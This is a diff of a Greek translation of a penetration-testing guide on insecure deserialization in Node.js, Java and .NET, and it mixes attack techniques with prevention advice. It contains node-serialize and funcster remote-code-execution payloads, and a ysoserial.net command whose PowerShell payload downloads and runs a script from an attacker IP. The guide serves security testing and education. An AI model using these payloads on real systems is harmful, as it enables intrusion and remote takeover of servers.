Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
|
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιηθεί.\
|
||||||
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
|
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("node-serialize")
|
var serialize = require("node-serialize")
|
||||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
|||||||
}
|
}
|
||||||
serialize.unserialize(test)
|
serialize.unserialize(test)
|
||||||
```
|
```
|
||||||
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** αυτόν χρησιμοποιώντας `eval`. Επομένως, για να **αυτοεκτελείται ο κώδικας** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
|
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** αυτόν χρησιμοποιώντας `eval`. Επομένως, για να **αυτοεκτελέσετε κώδικα** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("node-serialize")
|
var serialize = require("node-serialize")
|
||||||
var test =
|
var test =
|
||||||
@ -256,7 +256,7 @@ serialize.unserialize(test)
|
|||||||
|
|
||||||
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
|
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
|
||||||
|
|
||||||
Παρά αυτόν τον περιορισμό, είναι δυνατή η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
|
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
|
||||||
```javascript
|
```javascript
|
||||||
funcster = require("funcster")
|
funcster = require("funcster")
|
||||||
//Serialization
|
//Serialization
|
||||||
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
|
|||||||
return eval("(" + serializedJavascript + ")")
|
return eval("(" + serializedJavascript + ")")
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα**:
|
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **την εκμεταλλευτείτε εύκολα**:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("serialize-javascript")
|
var serialize = require("serialize-javascript")
|
||||||
//Serialization
|
//Serialization
|
||||||
@ -327,7 +327,7 @@ deserialize(test)
|
|||||||
Δώστε ιδιαίτερη προσοχή σε:
|
Δώστε ιδιαίτερη προσοχή σε:
|
||||||
|
|
||||||
- `XMLDecoder` που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.
|
- `XMLDecoder` που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.
|
||||||
- Η μέθοδος `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization.
|
- Τη μέθοδο `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization.
|
||||||
- `ObjectInputStream` σε συνδυασμό με τη μέθοδο `readObject`.
|
- `ObjectInputStream` σε συνδυασμό με τη μέθοδο `readObject`.
|
||||||
- Υλοποίηση μεθόδων όπως `readObject`, `readObjectNodData`, `readResolve`, ή `readExternal`.
|
- Υλοποίηση μεθόδων όπως `readObject`, `readObjectNodData`, `readResolve`, ή `readExternal`.
|
||||||
- `ObjectInputStream.readUnshared`.
|
- `ObjectInputStream.readUnshared`.
|
||||||
@ -337,12 +337,12 @@ deserialize(test)
|
|||||||
|
|
||||||
Για δοκιμές black box, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`):
|
Για δοκιμές black box, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`):
|
||||||
|
|
||||||
- Εξαδικό μοτίβο: `AC ED 00 05`.
|
- Εξαδική μορφή: `AC ED 00 05`.
|
||||||
- Μοτίβο Base64: `rO0`.
|
- Base64 μορφή: `rO0`.
|
||||||
- HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`.
|
- HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`.
|
||||||
- Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
|
- Εξαδική μορφή που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
|
||||||
- Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
|
- Base64 μορφή που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
|
||||||
- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των προτύπων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||||
```
|
```
|
||||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||||
```
|
```
|
||||||
@ -364,20 +364,20 @@ grep -R InvokeTransformer .
|
|||||||
#### Black Box Test
|
#### Black Box Test
|
||||||
|
|
||||||
Χρησιμοποιώντας την επέκταση Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να προσδιορίσετε **ποια βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\
|
Χρησιμοποιώντας την επέκταση Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να προσδιορίσετε **ποια βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\
|
||||||
[**Διαβάστε αυτό για να μάθετε περισσότερα σχετικά με το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
[**Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||||
Το GadgetProbe επικεντρώνεται σε **`ObjectInputStream` deserializations**.
|
Το GadgetProbe επικεντρώνεται σε **`ObjectInputStream` deserializations**.
|
||||||
|
|
||||||
Χρησιμοποιώντας την επέκταση Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να **τις εκμεταλλευτείτε**.\
|
Χρησιμοποιώντας την επέκταση Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να **τις εκμεταλλευτείτε**.\
|
||||||
[**Διαβάστε αυτό για να μάθετε περισσότερα σχετικά με τον Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
[**Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||||
Ο Java Deserialization Scanner επικεντρώνεται σε **`ObjectInputStream`** deserializations.
|
Ο Java Deserialization Scanner επικεντρώνεται σε **`ObjectInputStream`** deserializations.
|
||||||
|
|
||||||
Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες deserialization** στο **Burp**. Αυτό το plugin θα ανιχνεύσει **όχι μόνο ευπάθειες σχετικές με το `ObjectInputStream`** αλλά **και** ευπάθειες από βιβλιοθήκες deserialization **Json** και **Yml**. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\
|
Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες deserialization** στο **Burp**. Αυτό το πρόσθετο θα ανιχνεύσει **όχι μόνο ευπάθειες σχετικές με το `ObjectInputStream`** αλλά **και** ευπάθειες από βιβλιοθήκες deserialization **Json** και **Yml**. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\
|
||||||
[**Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
[**Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||||
|
|
||||||
**Serialization Test**
|
**Serialization Test**
|
||||||
|
|
||||||
Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο serialized object και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).\
|
Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριασμένο αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).\
|
||||||
Αν βρείτε ένα java serialized object που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμο τρόπο το serialization object που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
|
Αν βρείτε ένα σειριασμένο αντικείμενο java που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο αναγνώσιμο τρόπο το σειριασμένο αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
|
||||||
|
|
||||||
### **Exploit**
|
### **Exploit**
|
||||||
|
|
||||||
@ -455,7 +455,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||||||
```
|
```
|
||||||
#### serialkillerbypassgadgets
|
#### serialkillerbypassgadgets
|
||||||
|
|
||||||
Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερους εκμεταλλεύσεις**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερα exploits**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||||
|
|
||||||
#### marshalsec
|
#### marshalsec
|
||||||
|
|
||||||
@ -475,7 +475,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||||||
<type>pom</type>
|
<type>pom</type>
|
||||||
</dependency>
|
</dependency>
|
||||||
```
|
```
|
||||||
**Εγκαταστήστε το maven**, και **συγκεντρώστε** το έργο:
|
**Εγκαταστήστε το maven** και **συγκεντρώστε** το έργο:
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install maven
|
sudo apt-get install maven
|
||||||
mvn clean package -DskipTests
|
mvn clean package -DskipTests
|
||||||
@ -512,7 +512,7 @@ private transient double margin; // declared transient
|
|||||||
```
|
```
|
||||||
#### Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable
|
#### Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable
|
||||||
|
|
||||||
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` μέθοδο `readObject()` που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
|
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` `readObject()` μέθοδο που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
|
||||||
```java
|
```java
|
||||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||||
throw new java.io.IOException("Cannot be deserialized");
|
throw new java.io.IOException("Cannot be deserialized");
|
||||||
@ -610,7 +610,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
|||||||
|
|
||||||
### Εκμετάλλευση
|
### Εκμετάλλευση
|
||||||
|
|
||||||
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν το JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή**.\
|
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή**.\
|
||||||
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
|
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
|
||||||
|
|
||||||
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
|
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
|
||||||
@ -651,8 +651,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
|||||||
|
|
||||||
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).
|
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).
|
||||||
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
|
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
|
||||||
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._
|
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργήσει πάντα)._
|
||||||
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαίσια** όπως το ViewState
|
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα frameworks** όπως το ViewState
|
||||||
|
|
||||||
#### Περισσότερες παράμετροι ysoserial.net
|
#### Περισσότερες παράμετροι ysoserial.net
|
||||||
|
|
||||||
@ -678,8 +678,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||||||
#Create exploit using the created B64 shellcode
|
#Create exploit using the created B64 shellcode
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||||
```
|
```
|
||||||
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
|
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσουμε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
|
||||||
Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
|
Αν υποδείξετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
|
||||||
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||||
```java
|
```java
|
||||||
if (inputArgs.Test)
|
if (inputArgs.Test)
|
||||||
@ -706,45 +706,45 @@ return obj;
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\
|
Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\
|
||||||
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσυμπίεσης που μπορεί να δημιουργήσει το **ysoserial.net**.
|
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**.
|
||||||
|
|
||||||
### ViewState
|
### ViewState
|
||||||
|
|
||||||
Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για να **εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||||
|
|
||||||
### Prevention
|
### Prevention
|
||||||
|
|
||||||
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση στο .Net:
|
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net:
|
||||||
|
|
||||||
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
|
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να καθορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
|
||||||
- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||||
- **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.**
|
- **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.**
|
||||||
- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
|
- **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
|
||||||
